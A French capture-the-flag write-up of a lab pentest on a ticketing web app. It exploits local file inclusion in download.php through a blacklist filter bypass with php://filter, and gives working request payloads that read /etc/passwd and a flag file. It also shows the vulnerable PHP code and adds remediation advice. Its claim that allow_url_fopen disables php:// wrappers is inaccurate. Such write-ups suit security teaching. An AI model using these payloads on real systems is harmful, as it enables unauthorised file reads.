ZNote Logo
ZNote
Pentest LabsmediumWebverse
05-07-2026
4 min

Lab DocketHive : LFI via PHP Wrapper sur un Endpoint de Téléchargement Mal Filtré

Pentest d'une plateforme de billetterie événementielle : découverte d'un endpoint de téléchargement download.php, analyse du code source PHP auto-divulgué, identification d'un filtre anti-traversal contournable via le wrapper php://filter, et lecture arbitraire de fichiers système pour récupérer le flag.

Pentest
LFI
Path Traversal
PHP Wrapper
File Inclusion
Source Code Disclosure
Webverse
Web Security
PHP

Contexte et Objectifs

ChampDétail
PlateformeWebverse
LienAccéder au lab
Cibleapp.dockethive.io
OSLinux (nginx 1.29.8, PHP)
Vuln. cléLocal File Inclusion via PHP wrapper php://filter
DifficultéMedium

Scénario : DocketHive est une SaaS de billetterie événementielle basée à Portland. Un audit de sécurité est demandé avant le lancement grand public. On crée un compte et on explore la plateforme.

Kill chain :

Sortie
Inscription → events → achat ticket → download.php?file=receipt.pdf
        │
        ▼
Path traversal classique → bloqué par le filtre
        │
        ▼
download.php comme argument → source code divulgué
        │
        ▼
Analyse du filtre : ../ et / bloqués, mais readfile($file) sans chemin
        │
        ▼
php://filter/convert.base64-encode/resource=/etc/passwd → contournement
        │
        ▼
Décodage Base64 → user eric → /home/eric/flag.txt → flag

1. Reconnaissance

Commande
bash
rustscan -b 500 -a dockethive.local -- -sC -sV -Pn

Output :

Sortie
PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 63 nginx 1.29.8
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://app.dockethive.io/

Un seul port, nginx redirige vers app.dockethive.io. On ajoute l'entrée dans /etc/hosts :

Commande
bash
echo "10.100.0.x app.dockethive.io" | sudo tee -a /etc/hosts

La surface d'attaque est entièrement sur l'application web.


2. Énumération Web

Commande
bash
feroxbuster \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -u 'http://app.dockethive.io'

Output (résultats pertinents) :

Sortie
302  GET  http://app.dockethive.io/           => /login
302  GET  http://app.dockethive.io/logout     => /login
302  GET  http://app.dockethive.io/dashboard  => /login
302  GET  http://app.dockethive.io/events     => /login
302  GET  http://app.dockethive.io/orders     => /login
302  GET  http://app.dockethive.io/tickets    => /login
302  GET  http://app.dockethive.io/profile    => /login
302  GET  http://app.dockethive.io/settings   => /login
302  GET  http://app.dockethive.io/reports    => /login
200  GET  http://app.dockethive.io/register
200  GET  http://app.dockethive.io/login
200  GET  http://app.dockethive.io/forgot-password
301  GET  http://app.dockethive.io/uploads    => /uploads/
301  GET  http://app.dockethive.io/templates  => /templates/
301  GET  http://app.dockethive.io/src        => /src/

Analyse :

Toutes les pages fonctionnelles redirigent vers /login sans authentification. Deux observations importantes :

Le répertoire /src et /templates sont accessibles. Leur présence suggère que le code source de l'application est potentiellement exposé sur le serveur web.

On crée un compte pour explorer l'application authentifiée.


3. Exploration de l'Application

Dashboard et Navigation

Après inscription et connexion, l'interface présente plusieurs onglets : dashboard, events, orders, my tickets et profile.

Interface après connexion

Page Events

La page events liste les événements disponibles avec un formulaire de recherche et un bouton d'inscription.

Page events

On s'inscrit à un événement :

Inscription à un événement

Après confirmation, un reçu est généré avec deux options : voir ou télécharger.

Reçu généré

Découverte de download.php

On clique sur "Télécharger". En observant l'URL dans Burp Suite :

Sortie
http://app.dockethive.io/download.php?file=receipt_20260705_123456.pdf

Requête de téléchargement interceptée

Un endpoint PHP download.php accepte un nom de fichier en paramètre GET et le sert au client. C'est un pattern classique de Path Traversal / Local File Inclusion.


4. Tentatives de Path Traversal

Première Tentative : Chemin Absolu

On modifie la valeur du paramètre file dans Burp Repeater pour tenter de lire /etc/passwd :

Sortie
GET /download.php?file=/etc/passwd HTTP/1.1

Résultat : requête refusée

Refusé. On essaie avec la séquence de traversal classique :

Sortie
GET /download.php?file=../../../../etc/passwd HTTP/1.1

Résultat : toujours refusé

Refusé également. Un filtre bloque visiblement les séquences ../ et les chemins absolus commençant par /.

Deuxième Tentative : Extension Arbitraire

Pour comprendre le comportement exact du script, on teste avec un fichier qui n'existe pas mais qui a une extension :

Sortie
GET /download.php?file=test.pdf HTTP/1.1
Sortie
Warning: readfile(test.pdf): Failed to open stream: No such file or directory
in /var/www/html/download.php on line 33

Message d'erreur révélateur

Ce message d'erreur est très instructif :

  1. Le chemin complet du script est révélé : /var/www/html/download.php
  2. L'erreur vient de la fonction readfile() appliquée directement au nom de fichier passé en paramètre

Cette erreur suggère que le script vérifie si le paramètre existe et tente de le lire. On peut exploiter ça.

Auto-divulgation du Code Source

Si download.php lit le fichier passé en paramètre alors essayons d'entrer le script en lui même :

Sortie
GET /download.php?file=download.php HTTP/1.1

Code source PHP divulgué

Le code source PHP s'affiche intégralement.


5. Analyse du Code Source

Commande
php
<?php
// Serves receipt PDFs and other event-related downloads

if (!isset($_GET['file'])) {
    header('HTTP/1.0 400 Bad Request');
    exit('Missing file parameter');
}

$file = $_GET['file'];

// Reject obviously malformed filenames
if (strpos($file, '../') !== false
    || strpos($file, '..\') !== false
    || isset($file[0]) && $file[0] === '/'
    || stripos($file, 'file://') === 0) {
    header('HTTP/1.0 400 Bad Request');
    exit('Invalid file path.');
}

$path = __DIR__ . '/uploads/' . $file;

if (file_exists($path)) {
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
    if ($ext === 'pdf') {
        header('Content-Type: application/pdf');
        header('Content-Disposition: attachment; filename="' . basename($path) . '"');
    }
    readfile($path);
} else {
    readfile($file);  // <-- FAILLE ICI
}

Décomposition du Code

Bloc 1 : Vérification du paramètre

Si le paramètre file est absent, retourne une erreur 400. Rien d'anormal.

Bloc 2 : Le filtre anti-traversal

Le script bloque explicitement :

  • ../ (traversal Unix)
  • ..\ (traversal Windows)
  • Tout chemin commençant par / (chemin absolu)
  • Le préfixe file:// (wrapper PHP pour les fichiers locaux)

C'est un filtre par liste noire. Il couvre les techniques les plus courantes, mais il oublie les autres wrappers PHP.

Bloc 3 : Logique de téléchargement

Commande
php
$path = __DIR__ . '/uploads/' . $file;

if (file_exists($path)) {
    readfile($path);  // Sert le fichier depuis /uploads/
} else {
    readfile($file);  // Sert directement le paramètre brut
}

Ce bloc gère la logique de distribution du fichier. Il construit d'abord un chemin vers le répertoire uploads/. Ensuite, il vérifie si le fichier demandé existe à cet emplacement avec file_exists(). Si c'est le cas, le fichier est servi. Dans le cas contraire, le script bascule dans la branche else et lit directement le paramètre brut $file fourni par l'utilisateur sans aucun préfixe de dossier.

La faille réside dans la branche else.

Si le fichier n'existe pas dans /uploads/, le script appelle readfile($file) avec le paramètre brut, sans aucune validation supplémentaire. Si on arrive à contourner le filtre qu'impose le bloc 2, on peut exécuter readfile() sur n'importe quel fichier du serveur.


6. Exploitation via PHP Wrapper

Référence : Deep Hacking : PHP Wrappers

Comprendre les Wrappers PHP

PHP dispose d'un système de wrappers (protocoles d'accès aux flux) qui étend les fonctions de lecture de fichiers. En plus de lire des fichiers locaux, readfile() peut traiter des flux spéciaux si leur protocole est activé.

Le wrapper php://filter permet d'appliquer des transformations sur un fichier avant de le retourner. Sa syntaxe est :

Sortie
php://filter/[transformation]/resource=[chemin_du_fichier]

La transformation qu'on va utiliser est convert.base64-encode, qui encode le contenu du fichier en Base64 avant de le retourner. C'est utile pour lire des fichiers binaires ou PHP (dont le code serait autrement interprété avant d'être affiché).

Pourquoi ce wrapper fonctionne :

Sortie
php://filter/convert.base64-encode/resource=/etc/passwd
  1. Contournement du filtre (Bloc 2) :

    • Le filtre vérifie si la chaîne commence par / → non, elle commence par php://.
    • Le filtre vérifie si la chaîne contient ../ → non.
    • Le filtre vérifie si la chaîne commence par file:// → non. Le filtre laisse donc passer la requête.
  2. Contournement du dossier uploads/ (Bloc 3) :

    • Le script construit le chemin : /var/www/html/uploads/php://filter/...
    • Il teste l'existence de ce chemin absurde avec file_exists(). Comme ce "fichier" n'existe pas dans le dossier uploads/, la fonction retourne false.
    • Le script bascule alors dans la branche else (notre faille) et appelle readfile($file) directement sur le paramètre fourni.

Au final, readfile() évalue notre payload comme un wrapper PHP valide et lit /etc/passwd en lui appliquant l'encodage Base64.

Lecture de /etc/passwd

Sortie
GET /download.php?file=php://filter/convert.base64-encode/resource=/etc/passwd HTTP/1.1

Réponse Base64 de /etc/passwd

Le serveur retourne une longue chaîne Base64. On la décode dans Burp :

Contenu de /etc/passwd décodé

Sortie
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
eric:x:1001:1001::/home/eric:/bin/bash

Un utilisateur non-système est présent : eric, avec son home dans /home/eric/.

Lecture du Flag

Dans les CTF, le flag est conventionnellement nommé flag.txt et placé dans le répertoire home de l'utilisateur :

Sortie
GET /download.php?file=php://filter/convert.base64-encode/resource=/home/eric/flag.txt HTTP/1.1

Flag encodé en Base64

Flag récupéré.


7. Conclusion et Remédiation

Kill Chain Complète

Sortie
1. RustScan          → nginx port 80, redirection app.dockethive.io
2. Feroxbuster       → /uploads, /download.php pattern identifié
3. Inscription       → achat ticket → download.php?file=receipt.pdf
4. Traversal classique → bloqué par le filtre
5. Erreur test.pdf   → chemin /var/www/html révélé, readfile($file) confirmé
6. download.php      → code source auto-divulgué, filtre analysé
7. php://filter      → contourne la liste noire, base64-encode /etc/passwd
8. /etc/passwd       → user eric découvert
9. /home/eric/flag.txt → flag

Remédiation

VecteurProblèmeRemédiation
Liste noire incomplèteLe filtre bloque ../, / et file:// mais oublie php://, data://, expect:// et les autres wrappers PHPUtiliser une liste blanche plutôt qu'une liste noire : n'autoriser que des noms de fichiers correspondant au pattern ^[a-zA-Z0-9_-]+\.pdf$. Tout le reste est rejeté
Branche else dangereusereadfile($file) est appelé avec le paramètre brut quand le fichier n'existe pas dans /uploads/Supprimer la branche else. Si le fichier n'est pas dans /uploads/, retourner une erreur 404 et arrêter l'exécution
Messages d'erreur verbeuxL'erreur PHP révèle le chemin absolu /var/www/html/download.phpDésactiver l'affichage des erreurs PHP en production : display_errors = Off dans php.ini. Logger les erreurs côté serveur uniquement
Code source accessibledownload.php peut lire son propre code sourceRésultat direct de la faille. La correction de la branche else résout ce problème
Wrappers PHP activésphp://filter est actif et utilisableSi les wrappers ne sont pas nécessaires, les désactiver via allow_url_fopen = Off dans php.ini. Note : cela n'est pas suffisant seul si le filtre reste basé sur une liste noire

[!NOTE] Ce lab illustre une erreur de conception fréquente : un filtre construit par liste noire. Le développeur a pensé aux séquences de traversal les plus connues (../, chemins absolus, file://) mais a oublié que PHP offre une dizaine d'autres wrappers qui font la même chose différemment. Une liste blanche, qui n'autorise que ce qu'on connaît et attend, est toujours plus robuste qu'une liste noire qui tente d'anticiper tout ce qu'un attaquant pourrait essayer.


Writeup rédigé par Zcook